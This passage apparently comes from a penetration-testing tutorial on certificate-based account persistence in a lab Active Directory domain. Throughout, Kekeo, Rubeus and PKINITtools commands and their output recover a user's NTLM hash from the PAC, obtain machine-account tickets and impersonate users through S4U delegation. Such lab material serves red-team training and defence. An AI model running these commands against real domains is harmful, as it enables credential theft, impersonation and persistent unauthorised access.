Bms783HeXnjmknaU9G07Z1ptqWvoudxGRORZPhoSj4TqaLJq3FEiMeOfvWviJFLhrNAAI16Q60P9/pydZZDiwFEqxCB0bSnj19KLSyfhlfKulmY76Iz6cb3p
QrHaRvVNDGJC3uht/z0P18C/Y6g5Upzhzneqv+zyRf0TmFv0hzyFuv+20PdVxdT94xiszKrDd1IK3foVA9We8qq9zYCYJviagLQ0k340qjyyrr6ebaA1JaYQ2
OmPlNjMeoohZcevXHXRvGmo3FD5dKJcwbH4eiY9x6qV0x0hDhMtVn2KkPfXwxUXiLP0r5XZFkFNLt4AmcJyHKj5amMhZi3+bd0wsrlyYv1B1tBFENSp005m
Ehld0y+5PpXweKqijtXw8zxY5mTdW+6r3M8oL3VJW5FyEYxIV9sFG1PSJQy3yLHQthA0UTTogOf5AKY3tVdaLOCbAMqmTE/2NyQJTz8Ecr9kwYKpD78GFMF1
gUrmgFZzyh9YulV5OUkQHNVrUciIM0iFF3GnVPUT9qgiyUgYITfaakoHoQ61RdECQGAxfffGgqIGgZPx5cpZGtyqFX21CPX502oPkS/U0INw4vnpStd9/wTd
wFjleU0SFeqn2Nezfc2DD6knRhvMpQBIjP2IBBscP9P0YYFp1i7LDbbBkUGzQGSmvK/Pd96D2WC/5j3mP2YFzKd6tW0Xp9mp/s1Zjb9X5wAnGXK5hZ7RH
imqimVi6Nyumq0BFR4adJNL4aYUQY3osYDQyWoJpyRnsiTg4vaPN2w7DdCrmq/HTQqY407e5ciwmqrhFq1ky7329411s1DP8NvLTDW0kzvBgchiJct4yFV1
d9JkEnblJLeS6tB0aVhL7fpeTo+JcoUW91rRXrQ4xV6uFUi5tH5Xy3U1XIwjiXILmLfc3pNvYZNBkhUa8fwSeUShS0dk+LoVRTxVZuJonY7/Vuswm1+E61st
Ju5uY7KdZq+wlVdFgljEZwvOKfhqrY5grrIb//N6JXLQ0bfEbS8L6Qb008ear8p4ydaRmHmwObiu3rdMVjqG6UJC04krom5Z1LZdpstyC/Kp1gJDSvzv02zR
2TIbuGNHYJH61nda3aAwWzyTtaqPCOZTFKKF0wzNNv2ZxV2dbPYbc6g/ythB+sBrWQ80M+FeXqrMTAwGPQgfn+GMrthLGFV238ArFwXLBnR1wgLrMsRse7e
19+4vgdNxHKNjDIW+pwJmynV5cNTumHhEbjX82F2DcxPB5E2mu9A9HzJDWN18eYcMv9ZgkqgmomI6CVA4S6jgdIwgc+gAwIBAKKBxwSBxH2BwTCBvqCBuzC
BuDCBtaAbMBmgAwIBF6ESBBC//CEkvDZRTlWTCV9TfjP7oQwC1BVU1BMRSS5MQUKiFzAvAoAMCAQKhFjAUGwZrcmJ0Z3QbCnB1cnBsZ
wODI2MTA10TE4WqYRGA8yMDIXMgyNjIwNTkxOFqnERPMjAyMTA5MDIXMDU5MTAqAwB1BVU1BMRSS5MQUKPhZAdoAMCAQKhFjAUGwZrcmJ0Z3QbCnB1cnBsZ
S5sYWI= /user:pentestlab /domain:purple.lab /ptt

```

Kekeo – Submit User Account Certificate

Now that the ticket has been passed into the memory, the NTLM hash of the user “pentestlab” could be recovered. This is due to a feature which was developed by Microsoft to allow applications which are connecting to network services and don’t support Kerberos authentication to use NTLM as an authentication mechanism. According to [Microsoft Kerberos PKINIT technical specification](#) when PKCA is used the KDC will return the NTLM hash of the user in the privilege attribute certificate (PAC). Executing the following command from Kekeo will perform a decryption on the privilege attribute certificate and the NTLM has will be displayed:

```

tgt::pac /caname:purple-CA /subject:pentestlab /castore:current_user
/domain:purple.lab

```

```

kekeo # tgt::pac /caname:purple-CA /subject:pentestlab /castore:current_user /domain:purple.lab
Realm      : purple.lab (purple)
User       : pentestlab@purple.lab (pentestlab)
CName      : pentestlab@purple.lab      [KRB_NT_ENTERPRISE_PRINCIPAL (10)]
SName      : krbtgt/purple.lab          [KRB_NT_SRV_INST (2)]
Need PAC   : Yes
Auth mode  : RSA
[kdc] name: dc.purple.lab (auto)
[kdc] addr: 10.0.0.1 (auto)
*** Validation Informations ***
LogonTime   01d79d9cb4a934d1 - 30/8/2021 3:44:00 µm
LogoffTime  7fffffffffffffff -
KickoffTime 7fffffffffffffff -
PasswordLastSet 01d73f33eb7c976e - 2/5/2021 12:17:05 µm
PasswordCanChange 01d73fffd15e6576e - 3/5/2021 12:17:05 µm
PasswordMustChange 7fffffffffffffff -
EffectiveName pentestlab
FullName    pentestlab
LogonScript
ProfilePath
HomeDirectory
HomeDirectoryDrive
LogonCount  194
BadPasswordCount 0
UserId      00000452 (1106)
PrimaryGroupId 00000201 (513)
GroupCount  1
GroupIds     513,

```

Kekeo – Decrypt PAC

```

*** Credential information ***
[0] NTLM
NTLM: 58a478135a93ac3bf058a5ea0e8fdb71

*** Client name and ticket information ***
ClientId 01d79d9d38421480 - 30/8/2021 3:47:41 μμ
Client pentestlab@purple.lab

*** UPN and DNS information ***
UPN pentestlab@purple.lab
DnsDomainName PURPLE.LAB
Flags 00000000 (0)

*** Server Signature ***
Type 00000010 - (0) : 0816db23b574f04ab64f1e1d

```

Kekeo – User NTLM Hash

If the account is local admin the NTLM hash could be combined with other attacks such as pass the hash in order to move laterally to other systems (if the account has access). Alternatively, retrieving the hash of a user account could give the opportunity to crack it offline and therefore establishing persistence on the host. The NTLM hash could be retrieved multiple times even if the password has been changed by the user as long as the certificate is valid (1 year by default).

From non-domain joined systems [Dirk-jan Mollema](#) developed a set of tools called [PKINITtools](#) in Python which can be used to recover the NTLM hash. Initially the .kirbi file needs to be converted to credential cache file (.ccache) with the “*ticket_converter.py*” tool.

```
python3 ticket_converter.py pentestlab.kirbi pentestlab.ccache
```

```

(kali㉿kali)-[~/ticket_converter-master]
$ python3 ticket_converter.py pentestlab.kirbi pentestlab.ccache
Converting kirbi ⇒ ccache

(kali㉿kali)-[~/ticket_converter-master]
$ 

```

Ticket Converter – kirbi to ccache

Similarly to Rubeus the TGT can be obtained using the “*gettgtpkinit.py*” by supplying the certificate, the password that it was used to protect the private key, the user which the certificate has been issued and the .ccache file which contains the credentials for the Kerberos authentication.


```
python3 gettgtpkinit.py purple.lab/pentestlab -cert-pfx cert.pfx -pfx-pass Password123 pentestlab.ccache
```

```
(kali㉿kali)-[~/PKINITtools]
└─$ python3 gettgtpkinit.py purple.lab/pentestlab -cert-pfx cert.pfx -pfx-pass Password123 pentestlab.ccache
2021-09-04 16:00:02,946 minikerberos INFO      Loading certificate and key from file
2021-09-04 16:00:02,962 minikerberos INFO      Requesting TGT
2021-09-04 16:00:12,776 minikerberos INFO      AS-REP encryption key (you might need this later):
2021-09-04 16:00:12,776 minikerberos INFO      e2cde9845e5d46715b6b968c80775b44ecbd2cd5eb6e2f38f6739e120acf1b53
2021-09-04 16:00:12,782 minikerberos INFO      Saved TGT to file

(kali㉿kali)-[~/PKINITtools]
└─$
```

Request TGT

The AES-REP encryption key which has been retrieved previously can be used with the “*getnthash.py*” utility in order to recover the NTLM hash from the PAC.

```
python3 getnthash.py purple.lab/pentestlab -key e2cde9845e5d46715b6b968c80775b44ecbd2cd5eb6e2f38f6739e120acf1b53
```

```
(kali㉿kali)-[~/PKINITtools]
└─$ python3 getnthash.py purple.lab/pentestlab -key e2cde9845e5d46715b6b968c80775b44ecbd2cd5eb6e2f38f6739e120acf1b53
Impacket v0.9.24.dev1+20210815.200803.5fd22878 - Copyright 2021 SecureAuth Corporation

[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
58a478135a93ac3bf058a5ea0e8fdb71

(kali㉿kali)-[~/PKINITtools]
└─$
```

Retrieve NTLM Hash

Machine Account Persistence

If local administrator rights have been obtained a certificate could be requested for a machine account instead of a user account. Therefore the issued certificate could be used to request a ticket granting ticket from Kerberos Distribution Center (KDC).

```
Rubeus.exe asktgt /user:HIVE$ /certificate:C:\Users\pentestlab.PURPLE\cert.pfx /password>Password123
```

```
C:\Users\pentestlab.PURPLE>Rubeus.exe asktgt /user:HIVE$ /certificate:C:\Users\pentestlab.PURPLE\cert.pfx /password:Password123

v1.6.4

[*] Action: Ask TGT

[*] Using PKINIT with etype rc4_hmac and subject: CN=Hive.purple.lab
[*] Building AS-REQ (w/ PKINIT preauth) for: 'purple.lab\HIVE$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFwDCCBVSGAwIBBAEDAgEwoOIEdjCCBHJhggRuMIIIEaqADAgEfoQwbClBVUlBMRSS5MQUKiHzAdoAMC
AQKhFjAUGwZrcmJ0Z3QbCnB1cnBsZS5sYwKjggQyMIIELqADAgEsoQMAQKiggQgBIIIEHAbvv9BdSvfd
opDeArJiJ8MpuTnpQyCnmAWYC09F9YF/ao13rNuLXtaKoxg+YcBY0+jDryl7fDouchmdnrDhKBiBGN4K
6o4gVxrS0ok3eJL0Mi60Yw1ddBSePLCA9NYvF/sdoXmZjG+S8okNHYE4o5dF3SxIIWfLekBu4Q5+4gmK
oL5bB6Y4Rf4MUxjpbH4vLmL1CtbozTyTfmXgcyG6b43FrpnIuMp+s3xIVQ6YGeYIKXOC3CQv9dM8B0K1
l/p7uBNJmE76eKmcARilODaqgFkGfKbqHjRqBHAi4p0/X7ATsopMhsQ2pFM2OuLejiukZN7X4LGCN+Ui
4xgoZLxwQ02WjxdEIT1Nkyjexl+fV3M3Vio+1LzxAwqANB0e/4YdDjzDy+XXYrx4QuCD0RmXs6foziJH
pPrsf8Us9KTWHDbvMq1HR8ff0+2iT+6PZUJ6fgX/+u1t7Zn+ew3pLrHGlVArSj9nwkKnioTjt11BpOVX
FjvnAGbi+9tD+E4oqifryPWJWiQ/6xcm6xfbnktnCwKmg0Dcpw5AYIT/K0oetnbbDwCxmneGjgdz47dN
```

Rubeus – Request TGT for Machine Account

Using Kekeo in a similar manner that it has been used with the user account, the ticket can be applied in the current session by executing the following:

```
tgt::ask /pfx:<base64> /user:HIVE$ /password:Password123 /domain:purple.lab /ptt
```

```
kekeo # tgt::ask /pfx:doIFwDCCBVSGAwIBBAEDAgEwoOIEdjCCBHJhggRuMIIIEaqADAgEfoQwbClBVUlBMRSS5MQUKiHzAdoAMC
AQKhFjAUGwZrcmJ0Z3QbCnB1cnBsZS5sYwKjggQyMIIELqADAgEsoQMAQKiggQgBIIIEHAbvv9BdSvfdopDeArJiJ8MpuTnpQyCnmAWYC09F9YF/ao13rNuLXtaKoxg+YcBY0+jDryl7fDouchmdnrDhKBiBGN4K6o4gVxrS0ok3eJL0Mi60Yw1ddBSePLCA9NYvF/sdoXmZjG+S8okNHYE4o5dF3SxIIWfLekBu4Q5+4gmkoL5bB6Y4Rf4MUxjpbH4vLmL1CtbozTyTfmXgcyG6b43FrpnIuMp+s3xIVQ6YGeYIKXOC3CQv9dM8B0K1l/p7uBNJmE76eKmcARilODaqgFkGfKbqHjRqBHAi4p0/X7ATsopMhsQ2pFM2OuLejiukZN7X4LGCN+Ui4xgoZLxwQ02WjxdEIT1Nkyjexl+fV3M3Vio+1LzxAwqANB0e/4YdDjzDy+XXYrx4QuCD0RmXs6foziJHpPrsf8Us9KTWHDbvMq1HR8ff0+2iT+6PZUJ6fgX/+u1t7Zn+ew3pLrHGlVArSj9nwkKnioTjt11BpOVXFjvnAGbi+9tD+E4oqifryPWJWiQ/6xcm6xfbnktnCwKmg0Dcpw5AYIT/K0oetnbbDwCxmneGjgdz47dN
G9EeMjfFup1LP7yY9zs49Ujq2OK+1GAb5sYQgh01VgnYv9z5CcMz6ujV92FY4A+M81Q0L8DvSsYFk65N9+1Pp0t1pTngZw3dF3P
WuLSq5nSrtAtzeWUBM+0+E6j4dre0M0p7yI7NGm1RxPbJsvMvVJxe64HNmbL8a016qvYmXH//3TciFvGp2G8nHoADcMTdhf0+p7g4A/LBHQrdX3+Qk3D3dHu
LUe+Yb84EwYoXoVhC3/e7XdrFai4iqv19EPa/xDcAl0IXxZvMcnSoIYxm3KHEM3khpF5vBgveNlTvNq7pV6wTpEkivvWuTy1xEITITcG8bw4tHaSpCq
pJXTXhIY2RN863nbGUYr6Tp7VqeQVvC3A09JqSQmACodv/sVbRzG0+CS0n6LxRLmczkQCCnjs2mPou3+51q0qTdcvSN1LpgGx1GFL5SACXJR0xZZse7YYU3
5LNaR6VS8EUTMzGuc/tv4MLh1cgKx1SnqKq3uhYJF852ceWQDPbkfP60y1UfadBdzAC8c5njCIqjkPQE710B+XrtRwQw5LdcYerI//wKMavNVQ928EcburTX
7QS1nEwI+Iju78KFf8R6ug7qSsxiQZShWdHghSLrB3BYv4dH5R1Cwf4GNri7wJH8hnhWUA3187Ha9CLWsoK9AwkToJ/5BBY1ZfNN8nnBI+jBoJcly4+1t1dE
eVw/uPJZT0w1ufxhx+64R3uIjNg4kzx08FonDNs6I/uaKUWq4qLGuYRakcdFurqc5zxdyG3VpdV1NCFZJuXkzRKpnZ7Xnv+pFzU6UkouI7bcEATTToEScU1
e3qrqLIh6LpXOT04HNMIHkoAMCAQCigcIEgb99gbwgbmgbYwgbMwgbCgGzAZoAMCAREhEgQvQvGn2IkBzFBZ6Q8uuOzw1bKEMGwpQVJQTEUuTEFCohIwEK
ADAgEBoQkwBxsFSE1WRSSjBwMFAEDhAAC1ERgPMjAYMTA5MDQyMTMINDRaphEYDzIwMjEwOTA1MDczNTQ0WqcRGA8yMDIXMDkxMTIXMzU0NFqoDBsKUFVSUE
xFLkxBQqkFMB2gAwIBAgEUMBQbBmtYnRndBskcHVycGx1LmxhYg== /user:HIVE$ /password:Password123 /domain:purple.lab /ptt
RealM      : purple.lab (purple)
User       : HIVE$ (HIVE$)
CName      : HIVE$ [KRB_NT_PRINCIPAL (1)]
SName      : krbtgt/purple.lab [KRB_NT_SRV_INST (2)]
Need PAC   : Yes
Auth mode  : ENCRYPTION KEY 23 (rc4_hmac_nt) : 58a478135a93ac3bf058a5ea0e8fdb71
[kdc] name: dc.purple.lab (auto)
[kdc] addr: 10.0.0.1 (auto)
KDC_ERR_PREAUTH_FAILED (24) - 5/9/2021 12:46:03 PM
```

Kekeo – Submit Machine Account Certificate

Having a ticket for a machine account access can be established for any service (HTTP, CIFS etc.) as any user if the account is configured for constrained delegation.

```
Rubeus.exe s4u /user:HIVE$
/aes256:64e2da4f19b52a18760f0a0032f10d796eabec1156a63f56c69fa0d86064f656
/domain:purple.lab /msdssp:<service> /tgs:<name>.kirbi /ptt
```



```

C:\Users\pentestlab.PURPLE>Rubeus.exe s4u /user:HIVE$ /aes256:64e2da4f19b52a18760f0a0032f10d796eabec1156a63f56c69fa0d860
64f656 /domain:purple.lab /msdsspn:krbtgt/dc.purple.lab /tgs:[0;c3ada]-2-1-40e10000-pentestlab@krbtgt-purple.lab.kirbi /
ptt

  Rubeus

v1.6.4

[*] Action: S4U


[*] Using aes256_cts_hmac_sha1 hash: 64e2da4f19b52a18760f0a0032f10d796eabec1156a63f56c69fa0d86064f656
[*] Building AS-REQ (w/ preauth) for: 'purple.lab\HIVE$'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIE2DCCBNsgAwIBBaEDAgEWooID5jCCA+JhggPeMIID2qADAgEFOQwbCIBVU1BMRS5MQUKiHzAdoAMC
AQKhFjAUGwZrcmJ0Z3QbCnB1cnBsZS5sYWKjggOiMIIDnqADAgESoQMCAQKiggQBIIIDjB0VqRRCaKer
dd3IN6WQLg9Fdf8VKnl7sKs6HCbUtiy1jK7aoZxfzOIOTuk5BrXvJbq+DMY2DQeeY+yXHCu6tANhhB
j2IJet/v2z0BZuNx7IN98A3mhlYwdyNsd5/y4DwkBpmsGowXgJRfaEs+XgFbApu85luGJLmRK55tn5XC
TqENz6ZuGHzyquuR3tmZIVK7BtW5IrR00+1c57SaoxR5B2mGJ6xKRni8kPVhM1kf78sc/SdUjC2k6BYv
uSwj4KpQD6ZtGJrXrSsI/+JM5pgOFiqX7tWKL14dVU91IQN6b6uGVbyty7fCY3S8XTJxWhftrZcxrh
z7apMdA7LT6ZcakoRroNXf6o2oWlMv6w9v0K0GwPLcOvbwvf6CCCDxAo6GZDzFhDHZXPwd8TdyM2QFKT

```

Rubeus – Impersonate User

YouTube



Watch Video At: <https://youtu.be/Pwt2kk2vJDM>

Account Persistence – Certificates

References

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- <https://github.com/dirkjanm/PKINITtools>
- <https://github.com/GhostPack/Certify>

